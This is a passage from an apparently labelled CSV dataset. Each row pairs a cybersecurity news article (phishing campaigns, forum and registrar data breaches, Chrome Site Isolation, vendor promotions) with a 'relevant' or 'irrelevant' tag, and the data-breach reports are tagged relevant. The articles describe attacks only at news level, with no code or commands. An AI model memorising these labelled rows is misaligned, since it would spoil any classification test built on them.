receive any response from them. For more details on this new web cache poisoning attack and its variations, you can simply head on to the research paper [PDF] titled ""Your Cache Has Fallen: Cache-Poisoned Denial-of-Service Attack.""",relevant
"A Look Into Continuous Efforts By Chinese Hackers to Target Foreign Governments Phishing is still one of the widely used strategies by cybercriminals and espionage groups to gain an initial foothold on the targeted systems. Though hacking someone with phishing attacks was easy a decade ago, the evolution of threat detection technologies and cyber awareness among people has slowed down the success of phishing and social engineering attacks over the years. Since phishing is more sort of a one-time opportunity for hackers before their victims suspect it and likely won't fall for the same trick again, sophisticated hacking groups have started putting a lot of effort, time and research to design well-crafted phishing campaigns. In one such latest campaign discovered by cybersecurity researchers at Check Point, a Chinese hacking group, known as Rancor, has been found conducting very targeted and extensive attacks against Southeast Asian government entities from December 2018 to June 2019. What's interesting about this ongoing 7-month long campaign is that over this period, the Rancor group has continuously updated tactics, tools, and procedures (TTP) based on its targets in an effort to come up with phishing email contents and lure documents appear being as convincing as possible. ""The observed attacks started with emails sent on behalf of employees from different government departments, embassies, or government-related entities in a Southeast Asian country,"" reads a report published by CheckPoint and privately shared with The Hacker News prior to its release. ""The attackers appeared determined to reach certain targets, as tens of emails were sent to employees under the same ministries. Furthermore, the emails' origin was likely spoofed to make them seem more reliable."" Continuously Evolving Tactics, Tools, and Procedures Researchers discovered different combinations of TTP based on their timeline, delivery, persistence, and payloads, and then combined them into 8 major variants, as listed below in this article. Each attack variant started with a classic spear-phishing email containing a malicious document designed to run macros and exploit known vulnerabilities to install a backdoor on the victims' machines and gain full access to the systems. hacking-tools Most of the delivery documents in this campaign contained legitimate government-related topics, like instructions for governmental employees, official letters, press releases, surveys, and more, appeared to be sent from other government officials. Interestingly, as part of the infection chain, in most campaigns, attackers also bring their own legitimate, signed and trusted executables of major antivirus products to side-load malicious DLLs (dynamic link library) files to evade detection, especially from behavioral monitoring products. hacking As shown in the illustrations above, the abused legitimate executables belong to antivirus products including a component of Avast antivirus, BitDefender agent and Windows defender. Though the attack chains involve fileless activities like usage of VBA macros, PowerShell code, and legitimate Windows built-in tools, this campaign is not designed to achieve a fileless approach as the researchers told The Hacker News that other parts of the campaign expose malicious activities to the file system. ""To date, we have not seen such a persistent attack on a government; the same attacks were targeted for 7 months. We believe that the US Government should take note,"" researchers warned as the US elections are near. ""To attack the US Government, these Chinese hackers wouldn't need to change much, except making their lure documents all in English, and include themes that would trigger the interest of the victim so that the victim would open the file."" Rancor hacking group has previously been found attacking Cambodia and Singapore and continued its operations against entities within the Southeast Asia region, and this time the group has put 7 months of its effort on targeting the Southeast Asian government sector. ""We expect the group to continue to evolve, constantly changing their TTPs in the same manner as we observed throughout the campaign, as well as pushing their efforts to bypass security products and avoid attribution,"" the researchers conclude. To learn more about the Rancor group and its latest campaign, you can head on to the CheckPoint report titled, ""Rancor: The Year of the Phish.""",irrelevant
"Chrome for Android Enables Site Isolation Security Feature for All Sites with Login After enabling 'Site Isolation' security feature in Chrome for desktops last year, Google has now finally introduced 'the extra line of defence' for Android smartphone users surfing the Internet over the Chrome web browser. In brief, Site Isolation is a security feature that adds an additional boundary between websites by ensuring that pages from different sites end up in different sandboxed processes in the browser. Since each site in the browser gets its own isolated process, in case of a browser flaw or Spectre like side-channel vulnerability, the feature makes it harder for attackers or malicious websites to access or steal cross-site data of your accounts on other websites. Site Isolation helps protect many types of sensitive data, including authentication cookies, stored passwords, network data, stored permissions, as well as cross-origin messaging that help sites securely pass messages across domains. chrome site isolation The feature gained attention in January 2018, when it was in the experimental zone and two critical CPU vulnerabilities were discovered, called Spectre and Meltdown, that allowed malicious websites to launch speculative side-channel attacks directly from the browser. ""Even if a Spectre attack were to occur in a malicious web page, data from other websites would generally not be loaded into the same process, and so there would be much less data available to the attacker,"" Google said. ""This significantly reduces the threat posed by Spectre."" Soon after that, in July 2018, Google decided to enable the Site Isolation feature in Chrome for desktops and promised to the extent the same for Chrome users on Android to help them defend against even fully compromised processes. Performance Tradeoff: Chrome for Android Only Isolates Sites with Login Today, the tech giant has finally announced the availability of this feature with the release of Chrome 77 for Android, which has now been enabled for 99% of users who are running Android devices with a sufficient amount of RAM i.e., at least 2GB, with a 1% holdback to monitor and improve performance. Most importantly, it should be noted that unlike Chrome for desktops, the site isolation feature in Chrome for Android doesn't sandbox all websites. Instead, in an attempt to keep up with the device performance, the Site Isolation on Chrome 77 for Android has been re-designed to protect only high-value websites where users log in with passwords. ""We wanted to ensure that Site Isolation does not adversely affect user experience in a resource-constrained environment like Android,"" Google said today in its latest blog post. ""This is why, unlike desktop platforms where we isolate all sites, Chrome on Android uses a slimmer form of Site Isolation, protecting fewer sites to keep overhead low. This protects sites with sensitive data that users likely care about, such as banks or shopping sites, while allowing process sharing among less critical sites."" For example, when you visit a banking or e-commerce site within the Chrome browser on your Android phone and log in to your account, Chrome will observe a password interaction and automatically turn on the Site Isolation feature. chrome site isolation Eventually, the browser will render that site in its own dedicated renderer process, helping protect your sensitive information on that site from all other sites. Moreover, Chrome will keep a list of your isolated sites stored locally on your device, which helps the browser to automatically turn on the feature whenever you revisit one of those sites. However, if you want to forcefully enable this protection to isolate all websites without caring about the performance of your device, you can manually opt-in to full Site Isolation via chrome://flags/#enable-site-per-process setting page.",irrelevant
"New Comic Videos Take CISO/Security Vendor Relationship to the Extreme Today's CISOs operate in an overly intensive environment. As the ones who are tasked with the unenviable accountability for failed protection and successful breaches, they must relentlessly strive to improve their defense lines with workforce education, training their security teams and last but definitely not least — looking for products that will upgrade and adjust their security against the rapidly evolving threat landscape. Finding the right solution is everything but an easy task. Part of what makes it hard is the tremendous number of security vendors that offer an infinite number of security products, promising that each can solve all the cyber problems of the planet with one hand tied behind its back. These CISO/vendor encounters are the theme of six short humoristic videos released this week that take them to the ultimate extreme. Here is one of the videos: If you want, you can watch all 6 funny videos here. These videos were partly inspired by David Spark's excellent 30 Security Vendor Behaviors That Set Off a CISO's BS Detector article, in which various CISOs state which security vendors' claims they find most irritating. Unsurprisingly, most are related to absolutes, superlatives, buzzwords (AI and machine learning lead the list), and stating the obvious — basically, the toolset of an accomplished marketing and sales team. While the 'BS detector' article portrays a rather authentic description, there is another side to the equation—sure, vendors make a lot of noise, but it's not like they have a real choice. After all, how many of the CISOs that groaned over superlatives and cure-all claims would have scheduled a meeting with the vendor that says, 'I have a fair enough solution that might, under certain circumstances, contribute something to your security posture?' So, as in many other cases, there are good cases for both sides. The encounters between CISOs and security vendors are the theme of six humoristic short videos (to access the videos click here) that take them to the ultimate extreme, portraying a set of security vendor behaviors that can easily qualify to be the CISO's nightmare… The vendor that lurks everywhere, pushing his offering; the vendor that makes absurd promises; the vendor that does everything except deliver malware protection, and so on. Interestingly, the videos were not shot — as one might expect — by a frustrated, raging CISO who is tired of being pestered, but by an actual security vendor that apparently is confident enough to laugh at the common mistakes the overly-enthusiastic vendors (including they themselves) are making. So we strongly recommend to sit back and watch. If you're a CISO, you can rejoice in knowing that you are not alone on the run to get away from security vendors. If you're a security vendor sales guy, ask yourself how close this parody comes to your actual day-to-day routine. And if you're neither, simply enjoy a good laugh.",irrelevant
"Comodo Forums Hack Exposes 245,000 Users' Data — Recent vBulletin 0-day Used If you have an account with the Comodo discussion board and support forums, also known as ITarian Forum, you should change your password immediately. Cybersecurity company Comodo has become one of the major victims of a recently disclosed vBulletin 0-day vulnerability, exposing login account information of over nearly 245,000 users registered with the Comodo Forums websites. In a brief security notice published earlier today, Comodo admitted the data breach, revealing that an unknown attacker exploited the vBulletin vulnerability (CVE-2019-16759) and potentially gained access to Comodo Forums database. It's worth noting that Comodo forum was hacked on September 29, almost four days after vBulletin developers released a patch to let administrators address the vulnerability, but the company failed to apply the patches on time. As The Hacker News broke the news last week, an anonymous hacker publicly disclosed details of a critical then-unpatched vulnerability in vBulletin—one of the widely used internet forum software—which could have allowed remote attackers to execute arbitrary commands on the web server. However, Comodo has not specified which of the company's forums has been hacked out of the two separate forums it owns. One the forums, ""forums.comodo.com,"" is hosted at Comodo's own sub-domain and is powered by the different forum software, called Simple Machines Forum, and appears not to be impacted. The second forum, which runs over the vBulletin software and has likely been hacked, is ITarian Forum hosted at ""forum.itarian.com,"" a discussion board where the company offers technical assistance to the users of its products. Comodo vbulletin forums hacked What Type of Information Was Accessed? The breached database contains forum users' information, including: Login username Name Email address Hashed passwords Last IP address used to access the forums Some social media usernames in very limited situations. The company became aware of the security breach over the weekend on September 29 morning, which suggests users registered on Comodo Forums until this Sunday are impacted by the breach. ""Very recently a new vulnerability in the vBulletin software, which is one of the most popular server applications for website comments including the Comodo Forums, was made public,"" the company says. ""Over the weekend at 4:57 am ET on Sunday, September 29, 2019, we became aware that this security flaw in the vBulletin software had become exploited resulting in a potential data breach on the Comodo Forums."" Immediately after detecting the security intrusion, the Comodo IT infrastructure team immediately took the forums offline in an attempt to mitigate the vBulletin exploit and applied the recommended security patches. What Users Should Do Now? If you have registered with Comodo Forums on or before September 29, you are highly recommended to immediately change the password for your forum account to a strong and unique one and for any other online account where you use the same credentials. Although the account passwords were hashed in vBulletin for the Comodo Forum users, Comodo advises users to change their passwords as part of good password practices. ""We deeply regret any inconvenience or distress this vulnerability may have caused you, our users,"" the company says. ""As members of our community of Comodo Forum users, we want to reassure you that we have put in place measures to ensure that vulnerabilities in third-party software, such as vBulletin, will be patched immediately when patches become available."" Besides this, at the time of writing, the company has also temporarily disabled the registration for new users on the affected forums, The Hacker News confirmed.",relevant
"Russian Hackers Targeting Anti-Doping Agencies Ahead of 2020 Tokyo Olympics As Japan gears up for the upcoming 2020 Summer Olympics in Tokyo for the next year, the country needs to brace itself for sophisticated cyberattacks, especially from state-sponsored hackers. Microsoft has issued a short notice, warning about a new wave of highly targeted cyberattacks by a group of Russian state-sponsored hackers attempting to hack over a dozen anti-doping authorities and sporting organizations around the world. The attacks are originating from the 'Strontium' Russian hacking group, widely known as Fancy Bear or APT28, and are believed to be linked to the upcoming 2020 Summer Olympics in Tokyo. The Fancy Bear hacking group, also known as APT28, Sofacy, X-agent, Sednit, Sandworm, and Pawn Storm, is believed to be linked to Russian military intelligence agency GRU and has been in operation since at least 2007. Over these past three decades, the group has been credited to many high profile hacking incidents, like hacking the US presidential elections to influence the results, targeting a country with NotPetya ransomware, causing blackouts in the Ukrainian capital Kiev, and Pentagon breach. The latest cyberattacks began on September 16, apparently after the World Anti-Doping Agency (WADA) found irregularities in a database from Russia's national anti-doping laboratory, warning that Russian athletes could face a ban from competing at Tokyo 2020 Summer Olympics. Microsoft's Threat Intelligence Center said that some of these ""significant cyberattacks"" were successful, but the majority were not, and that the company notified affected organisations and worked with some of them to ""secure compromised accounts or systems."" Hackers Targeted 16 Sporting and Anti-Doping Organizations Microsoft confirmed the Fancy Bear hacking group targeted at least 16 national and international sporting and anti-doping organizations across three continents, but it did not disclose their identity. The hacking techniques used by Fancy Bear in the latest campaign involves ""spear-phishing, password spray, exploiting internet-connected devices, and the use of both open-source and custom malware."" Though these techniques are very well-known and not new, they were evidently proven very effective in previous cyber attacks by Fancy Bear against ""governments, militaries, think tanks, law firms, human rights organizations, financial firms and universities around the world."" For example, when the victim opens the malicious document attached to an email, the exploit automatically executes some PowerShell scripts in the background and installs malware over the victim's computer, giving attackers full remote control over it. Fancy Bear Also Targeted Previous Olympic Events This is not the first time when Fancy Bear hackers have targeted anti-doping organisations. Fancy Bear leaked confidential athlete data from the World Anti-Doping Agency (WADA) in retaliation against the agency in 2016 when it took similar action against Russian athletes during the Rio 2016 Games Summer Olympics. The hacking group has also been accused of conducting similar state-sponsored attacks during the Pyeongchang 2018 Winter Olympics held in South Korea when used the ""Olympic Destroyer"" wiper malware to disrupt the Winter Games' official network. Though the malware did not disrupt the live feed during the opening ceremony, it was successful in disrupting the official website for the Winter Games for 12 hours, collapsing Wi-Fi in the Pyeongchang Olympic stadium, and failing televisions and internet at the main press center, leaving attendees unable to print their tickets for events or get venue information. To protect yourself and your organization from becoming a victim of Fancy Bear and similar cyberattack campaigns, Microsoft has recommended to deploy two-factor authentication (2FA) on all your business and personal email accounts and also enable security alerts about links and files from suspicious websites. Besides this, organizations are also advised to educate their employees to spot phishing attacks, so that they won't be tricked into providing their organization's personal data to attackers.",irrelevant
"Report to Your Management with the Definitive 'Incident Response for Management' Presentation Template Security incidents occur. It's not a matter of 'if' but of 'when.' There are security products and procedures that were implemented to optimize the IR process, so from the 'security-professional' angle, things are taken care of. However, many security pros who are doing an excellent job in handling incidents find effectively communicating the ongoing process with their management a much more challenging task. It's a little surprise — managements are typically not security savvy and don't really care about the bits and bytes in which the security pro masters. Cynet addresses this gap with the IR Reporting for Management PPT template, providing CISOs and CIOs with a clear and intuitive tool to report both the ongoing IR process and its conclusion. The IR for Management template enables CISOs and CIOs to communicate with the two key points that management cares about—assurance that the incident is under control and a clear understanding of implications and root cause. Control is a key aspect of IR processes, in the sense that at any given moment, there is full transparency of what is addressed, what is known and needs to be remediated, and what further investigation is needed to unveil parts of the attack that are yet unknown. Management doesn't think in terms of trojans, exploits, and lateral movement, but rather it thinks in terms of business productivity — downtime, man-hours, loss of sensitive data. Mapping a high-level description of the attack route to resulted damage is paramount to get the management's understanding and involvement, especially if the IR process entails additional spending. The Template follows the SANS\NIST IR framework and comprises the following stages: Identification Attacker presence is detected beyond doubt. Was the detection made in house or by a 3rd party, how mature the attack is (in terms of its progress along the kill chain), what is the estimated risk, and will the following steps be taken with internal resources or is there a need to engage a service provider? cyber security incident response Containment First aid to stop the immediate bleeding before any further investigation, the attack root cause, the number of entities taken offline (endpoints, servers, user accounts), current status, and onward steps. cyber security incident response Eradication Full clean up of all malicious infrastructure and activities, a complete report on the attack's route and assumed objectives, overall business impact (man-hours, lost data, regulatory implications and others per the varying context) Recovery Recovery rate in terms of endpoints, servers, applications, cloud workloads, and data. Lessons Learned What were the attack's enablers (lack of adequate security technology in place, insecure workforce practices, etc.) and how they can be mended, and reflection on the previous stages across the IR process timeline searching for what to preserve and what to improve. Naturally, there is no one-size-fits-all in a security incident. For example, there might be cases in which the identification and containment will take place almost instantly together, while in other events, the containment might take longer, requiring several presentations on its interim status. That's why the template is modular and can be easily adjustable to any variant. Communication to management is not a nice-to-have but a critical part of the IR process itself. The definitive IR Reporting to Management PPT template enables all who work hard to conduct professional and efficient IR processes in their organizations to make their efforts and results crystal clear to their management. Download the Definitive IR Reporting to Management PPT template here.",irrelevant
"Cynet's Vulnerability Assessment Enables Organizations to Dramatically Reduce their Risk Exposure Protection from cyberattacks begins way before attackers launch their weapons on an organization. Continuously monitoring the environment for security weaknesses and addressing such, if found, is a proven way to provide organizations with immunity to a large portion of attacks. Among the common weaknesses that expose organizations to cyberattacks, the most prominent are software vulnerabilities in systems and applications that attackers relentlessly take advantage of. To assist in the discovery of such vulnerabilities, Cynet now offers organizations a 14 days free access to its Cynet 360 platform in which they can leverage its built-in vulnerability assessment tools. A vulnerability is a bug in the software that enables a threat actor to manipulate it for malicious purposes. For example, a vulnerability in Word enables attackers to craft a Word document in such a manner that when a user double clicks to open it, it transparently opens a connection between the user computer and the attacker, enabling the latter to execute code remotely and install additional malware on it. In light of the above, it would only make sense to assume that the vast majority of organizations routinely deploy patches as soon as the vendor issues them. Unfortunately, that's far from the truth. ""At the beginning, it made no sense to me,"" said Eyal Gruner, president, and co-founder of Cynet, ""I come from an offensive security background, and you can be sure – fully patched organizations are much harder to penetrate. Actually, if it's not an extremely targeted attack, most attackers would just try their luck with a lesser protected victim – but still, people won't patch."" According to Gruner, upon deep-diving into the not-patching mystery, he and his team at Cynet discovered that operational obstacles play a critical role. ""You need to have a dedicated product to scan your environment, meaning that you have to fight your way to a sufficient budget. Then you have to deploy it, which is resource consuming – it can take effort to have such a scanner fully cover your entire environment."" ""And finally, you need to have someone on your team master the product and operate it. IT and Security teams have their hands full already, and adding extra burden would many times result in an automatic no-go."" Of course, while all the above helps to understand why patching is not common practice, it contributes little to zero in justifying it. ""I mean, there are tons of available exploit kits out there, enabling anyone – even with no hacking skills – to distribute exploits far and wide, armed with ransomware, crypto-miners, and others,"" said Gruner. ""If any of these materialize in your environment, it could easily cost five times more work and money than purchase, deployment, and operation combined."" Gruner said that his assumption was that vulnerability assessment must be an integral part of the Cynet 360 breach protection platform. By that, the purchase and deployment issues would be eliminated completely. And in regard to the operation, ""similar to all the other Cynet 360 functionalities, simplicity was our compass. Our test was: can you get what you want in a single click? and we did it."" Cynet reporting options Windows missing patch example By providing organizations with free 14-day access to its Cynet 360 platform, including vulnerability assessment capabilities, organizations can experience the power, speed, and ease of full visibility into their vulnerable systems and apps. The Cynet Free Vulnerability Assessment offering provides the following benefits: Immediate time-to-value: lightspeed installation, scanning of thousands of hosts within minutes. Full visibility: any vulnerabilities in the OS and application are discovered and resurfaced for prioritization and patching. Single-click: built-in reports with all you need to know. Push the button, and you're done. Cynet Free Vulnerability Assessment addresses two IT/Security audiences: Those who already patch – to this group, Cynet accelerates and optimizes their existing workflow. Those who don't patch – to this group, Cynet introduces an effortless path to boost the breach protection level of their organizations, with no operational burden. ""It's our hope that when people see how easy it can be, it will become the no-brainer I thought it once should be,"" sais Gruner. ""It's not a magic wand that will make you 100% secure, but it will 100% make you more secure than you are now.""",irrelevant
"Feds Shut Down Largest Dark Web Child Abuse Site; South Korean Admin Arrested The United States Department of Justice said today that they had arrested hundreds of criminals in a global crackdown after taking down the largest known child porn site on the dark web and tracing payments made in bitcoins. With an international coalition of law enforcement agencies, federal officials have arrested the administrator of the child sexual abuse site, 23-year-old Jong Woo Son of South Korea, along with 337 suspects who have been charged for allegedly using the site. The site in question is ""Welcome to Video,"" which operated from June 2015 until March 2018 and hosted over 250,000 sexual exploitation videos of children, toddlers, and infants, which comprised of roughly over 8TB of data. According to a press release published by DoJ, the Welcome to Video site hosted more than 250,000 unique videos, and almost 45 percent of the videos contain new images that have not been previously known to exist. The operation also resulted in the rescue of at least 23 children residing in the United States, Spain, and the United Kingdom, who were being actively abused by the users of the Welcome to Video site, which operated on the encrypted Tor network. Site Was Hosted on a Server Running from Bedroom of the Admin Merely reviewing the HTML source code of the site in the browser revealed the original IP addresses of the server on which the site was hosted. The IP addresses were then traced back to a server located inside the bedroom of the site admin Jong Woo Son's house in South Korea. The analysis of the seized server revealed more than one million unique bitcoin addresses that were used to receive payments from visitors, indicating that the website had the capacity for at least one million users. The United States issued a warrant for Son's arrest in February 2018. Federal authorities in South Korea then arrested him on March 5, 2018, and seized the server used to operate Welcome To Video. Though Son is currently serving an 18-month sentence in South Korea, a federal grand jury in Washington DC unsealed a 9-count indictment against him just yesterday, with the U.S. authorities seeking his extradition to face justice. ""Darknet sites that profit from the sexual exploitation of children are among the most vile and reprehensible forms of criminal behavior,"" said Assistant Attorney General Brian A. Benczkowski of the Justice Department's Criminal Division. ""This Administration will not allow child predators to use lawless online spaces as a shield. Today's announcement demonstrates that the Department of Justice remains firmly committed to working closely with our partners in South Korea and around the world to rescue child victims and bring to justice the perpetrators of these abhorrent crimes."" Total 337 Site Users Were Also Arrested and Charged The users of the site—which were from the U.S., U.K., South Korea, Canada, Saudi Arabia, UAE, Ireland, Germany, the Czech Republic, Spain, Brazil, and Australia—could download videos by uploading new videos, referring new users, or paying in ""supposedly anonymous"" cryptocurrency Bitcoin. According to the indictment, at least two former federal law enforcement officials were allegedly involved in the child porn site—Paul Casey Whipple, 35-year-old U.S. Border Patrol Agent, and Richard Nikolai Gratkowski, a former HSI special agent. Moreover, two users of the Welcome to Video dark market site committed suicide following the execution of search warrants. ""Welcome To Video offered these videos for sale using the cryptocurrency bitcoin. Typically, sites of this kind give users a forum to trade in these depictions. This Darknet website is among the first of its kind to monetize child exploitation videos using bitcoin,"" the press release reads. During the 3 years of its operation, the site received at least 420 BTC, equivalent to $370,000 at the time when the site was taken down, through at least 7300 transactions.",irrelevant
"How to Avoid the Top Three Causes of Data Breaches in 2019 What's the price of unprotected IT infrastructure? Cybercrime Magazine says that global damages will surpass $6 billion as soon as 2021. Here we'll go through some of the most frequent and emerging causes of data breaches in 2019 and see how to address them in a timely manner. Misconfigured Cloud Storage It's hard to find a day without a security incident involving unprotected AWS S3 storage, Elasticsearch, or MongoDB. A global study from Thales and the Ponemon Institute states that only 32% of organizations believe protecting their data in a cloud is their own responsibility. Worse, according to the same report, 51% of the organizations still do not use encryption or tokenization to protect sensitive data in the cloud. McAfee confirms, claiming that 99% of cloud and IaaS misconfigurations fall into the realm of end users' control and remain unnoticed. Marco Rottigni, Chief Technical Security Officer EMEA at Qualys, explains the problem: ""Some of the most common cloud database implementations ships with no security or access control as standard at the start. They have to be added on deliberately, which can be easily missed."" With a global average cost of $3.92 million per data breach in 2019, these findings are quite alarming. Sadly, many cybersecurity and IT professionals still candidly believe that cloud providers are responsible for protecting their data in the cloud. Unfortunately, most of their assumptions are not in accord with harsh legal reality. Virtually all major cloud and IaaS providers have experienced law firms to draft an airtight contract you won't be able to alter or negate in a court. Black ink clauses expressly shift financial liability for most incidents on the clients' shoulders and establish limited liability for everything else, often reckoned in pennies. Most SME companies don't even carefully read the terms, while in large organizations, they are reviewed by legal advisors who are often disconnected from the IT team. Though, one will hardly negotiate better conditions, as otherwise, cloud business will become so perilous and unprofitable that it will swiftly disappear. This means that you will be the sole entity to blame and punish for misconfigured or abandoned cloud storage and a resultant data breach. Unprotected Code Repositories Research by North Carolina State University (NCSU) found that over 100,000 GitHub repositories have been leaking secret API tokens and cryptographic keys, with thousands of new repositories exposing secrets on a daily basis. Canadian banking giant Scotiabank recently made news headlines by reportedly storing internal source code, login credentials, and access keys for months in publicly open and accessible GitHub repositories. Third-parties, especially external software developers, are commonly the weakest link. Often their developers lack proper training and security awareness requisite to duly safeguard their code. Having several projects at once, tough deadlines, and impatient clients, they ignore or forget about the very fundamentals of security, letting their code in public domain. Cybercriminals are well aware of this digital Ali Baba's cave. Cyber gangs specialized in OSINT data discovery meticulously crawl existing and new code repositories in a continuous mode, carefully scrapping the data. Once something of value is found, it's sold to cyber gangs focused on exploitation and offensive operations to get in. Given that such intrusions rarely trigger any red flags in anomaly detection systems, they remain unnoticed or detected once it is already too late. Worse, the investigation of such intrusions is costly and almost perspectiveless. Many famous APT attacks involved password re-use attacks with credentials found in code repositories. Vulnerable Open Source Software The rapid proliferation of Open Source Software (OSS) in enterprise systems exacerbates the cyber-threat landscape by adding even more unknowns into the game. A recent report by ImmuniWeb found that 97 out of 100 largest banks are vulnerable and have poorly coded web and mobile apps, being riddled with outdated and vulnerable open source components, libraries, and frameworks. The oldest unpatched vulnerability found was known and publicly disclosed since 2011. OSS does save a lot of time for developers and money for organizations but likewise provides a wide spectrum of concomitant and largely underestimated risks. Few organizations properly track and maintain an inventory of countless OSS and its components built into their enterprise software. Consequently, blinded with unknowingness, they fall victim to unknown unknowns when newly detected OSS security flaws are aggressively exploited in the wild. Today, medium and large-sized organizations incrementally invest in application security, notably in the implementation of DevSecOps and Shift Left testing. Gartner urges the adoption of Shift Left software testing by incorporating security testing at the early stages of the Software Development Lifecycle (SDLC) before it becomes overly expensive and time-consuming to fix vulnerabilities. However, a holistic and up2date inventory of your OSS is indispensable to implement Shift Left testing; otherwise, you will just pour your money down the drain. How to Prevent and Remediate Follow these five recommendations to reduce your risks in a cost-efficient manner: 1. Maintain an up2date and holistic inventory of your digital assets Software, hardware, data, users, and licenses should be continuously monitored, classified, and risk-scored. In the era of public cloud, containers, code repositories, file-sharing services, and outsourcing, it's not an easy task, but without it, you may ruin the integrity of your cybersecurity efforts and negate all previous cybersecurity investments. Remember, you cannot protect what you don't see. 2. Monitor your external attack surface and risk exposure Many organizations spend money on auxiliary or even theoretical risks, ignoring their numerous outdated, abandoned, or simply unknown systems accessible from the Internet. These shadow assets are low-hanging fruit for cybercriminals. Attackers are smart and pragmatic; they won't assault your castle if they can silently get in via a forgotten underground tunnel. Therefore, ascertain that you have an ample and up2date view of your external attacks surface in a continuous manner. 3. Keep your software up2date, implement patch management and automated patching Most of the successful attacks do not involve the usage of sophisticated and costly 0days but publicly disclosed vulnerabilities often available with a working exploit. Hackers will systematically search for the weakest link in your defense perimeter to get in, and even a tiny outdated JS library may be a windfall to get your crown jewels. Implement, test, and monitor a robust patch management system for all your systems and applications. 4. Prioritize your testing and remediation efforts based on risks and threats Once you have crystal-clear visibility of your digital assets and a properly implemented patch management strategy, it's time to ensure that everything works as you expected. Deploy continuous security monitoring for all your external assets, conduct in-depth testing, including penetration testing of your business-critical web applications and APIs. Setup monitoring for any anomalies with rapid notifications. 5. Keep an eye on Dark Web and monitor data leaks Most companies do not realize how many of their corporate accounts, exposed by hacked third-party websites and services, are being sold on the Dark Web. The emerging success of password reuse and brute-force attacks stem from it. Worse, even legitimate websites such as Pastebin often expose a great wealth of leaked, stolen, or lost data accessible to everyone. Continuous monitoring and analysis of these incidents may save millions of dollars and, most importantly, your reputation and goodwill. Reducing Complexity and Costs We came across an innovative offering from a Swiss company ImmuniWeb® to tackle these issues in a simple and cost-effective manner. We are truly impressed with its technical capabilities, consolidated approach, and accessible price. ImmuniWeb Discovery provides you with superior visibility and control over your external attack surface and risk exposure. Try ImmuniWeb® Discovery for: Rapid discovery of your external digital assets, including APIs, cloud storage and IoT Actionable, data-driven security ratings of your applications' Hackability and Attractiveness Continuous monitoring of public code repositories for unprotected or leaked source code Continuous monitoring of Dark Web for exposed credentials and other sensitive data Production-safe Software Composition Analysis of your web and mobile applications Instant alerts about expiring domain names and SSL certificates Integration with SIEMs and other security systems via API We hope you will avoid becoming a victim of a data breach in 2020!",irrelevant
"Leading Web Domain Name Registrars Disclose Data Breach Another day, another massive data breach—this time affecting a leading web technology company, as well as both of its subsidiaries, from where millions of customers around the world have purchased domain names for their websites. The world's top domain registrars Web.com, Network Solutions, and Register.com disclosed a security breach that may have resulted in the theft of customers' account information. Founded in 1999 and headquartered in Jacksonville, Florida, Web.com is a leading web technology company that owns both Network Solutions and Register.com. The companies offer web services like web hosting, website design, and online marketing to help people build their own websites. What happened? — In late August 2019, a third-party gained unauthorized access to a ""limited number"" of the company's computer systems and reportedly accessed millions of records for accounts of current and former customers with Web.com, Network Solutions, and Register.com. The company said it became aware of the security intrusion only on October 16, 2019, but did not disclose any details on how the incident happened. What type of information was compromised? — According to the affected domain registrars, the stolen information includes contact details of their customers, such as: Names Addresses Phone numbers Email addresses Information about the services offered to a customer. What type of information was not compromised? — The companies also confirmed that no credit card information was compromised as a result of the security breach incident since they claim to encrypt their customers' credit card numbers before storing them on their databases. web domain registrar hacked ""We store credit card numbers in a PCI (Payment Card Industry) compliant encryption standard and do not believe your credit card information is vulnerable as a specific result of this incident,"" reads a breach notice published on websites of Web.com, Network Solutions, and Register.com. To be noted, the passwords for account logins of affected customers were also not compromised, which otherwise could have allowed attackers to permanently hijack domain names by transferring them to an account owned by attackers with a separate service. What are the affected companies now doing? — The companies took necessary steps to stop the security intrusion upon discovery and immediately launched an investigation by engaging a leading independent cybersecurity firm to determine the scope of the incident. The companies have also notified all the relevant authorities and already started working with federal law enforcement. All three affected domain registrars are also in the process of contacting affected customers through email and via their websites. What affected customers should do now? — As a precaution, affected customers are encouraged to change passwords for their Web.com, Network Solutions, and Register.com accounts and for any other online account where you use the same credentials. Do it even if you are not affected—just to be on the safer side. ""We have already taken additional steps to secure your account, and there is nothing you need to do at this time. The next time you log in to your account, you will be required to reset your password,"" the domain registrars recommend. Since the exposed data includes personal identifying information (PII), affected customers should mainly be suspicious of phishing emails, which are usually the next step of cybercriminals in an attempt to trick users into giving away their passwords and credit card information. Although the data breach did not expose any financial information, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements for any unusual activity and report to the bank if you find any. This is not the first time Web.com has disclosed a security incident. In August 2015, the company suffered a major data breach that had compromised personal and credit card information belonging to nearly 93,000 customers.",relevant
"Microsoft to Reward Hackers for Finding Bugs in Open Source Election Software Fair elections are the lifelines of democracy, but in recent years election hacking has become a hot topic worldwide. Whether it's American voting machines during the 2016 presidential election or India's EVMs during 2014 general elections, the integrity, transparency, and security of electronic voting machines remained questionable, leaving a wound in the minds of many that is difficult to heal. Many countries, including the largest democracy in the world i.e., India, believe the best way to ensure the security of EVMs is to make its technology opaque to bad actors, but in recent years a large section of the population is losing trust in any system that has been certified by a closed group of experts only. To make a balance between transparency and security, in May 2019, Microsoft released a free, open-source software development kit (SDK) called ElectionGuard that aims to enable end-to-end verification of voting. Microsoft's ElectionGuard SDK can be integrated into voting systems and has been designed to ""enable end-to-end verification of elections, open results to third-party organizations for secure validation, and allow individual voters to confirm their votes were correctly counted."" ElectionGuard Bug Bounty Program Since no software comes bugs-free, Microsoft today finally launched the ElectionGuard Bounty program, inviting security researchers from across the world to help the company discover high impact vulnerabilities in the ElectionGuard SDK. ""The ElectionGuard Bounty program invites security researchers to partner with Microsoft to secure ElectionGuard users, and is a part of Microsoft's broader commitment to preserving and protecting electoral processes under the Defending Democracy Program,"" the company says in a blog post published today. ""Researchers from across the globe, whether full-time cybersecurity professionals, part-time hobbyists, or students, are invited to discover high impact vulnerabilities in targeted areas of the ElectionGuard SDK and share them with Microsoft under Coordinated Vulnerability Disclosure (CVD)."" ElectionGuard Bounty offers cybersecurity researchers a reward of up to $15,000 for eligible submissions with a clear and concise proof of concept (POC) to demonstrate how the discovered vulnerability could be exploited to achieve an in-scope security impact. The ElectionGuard components that are currently in scope for bug bounty awards include ElectionGuard API SDK, ElectionGuard specification and documentation, and verifier reference implementation. However, the tech giant says it will update the ElectionGuard bounty scope with additional components to award further research in the future.",irrelevant
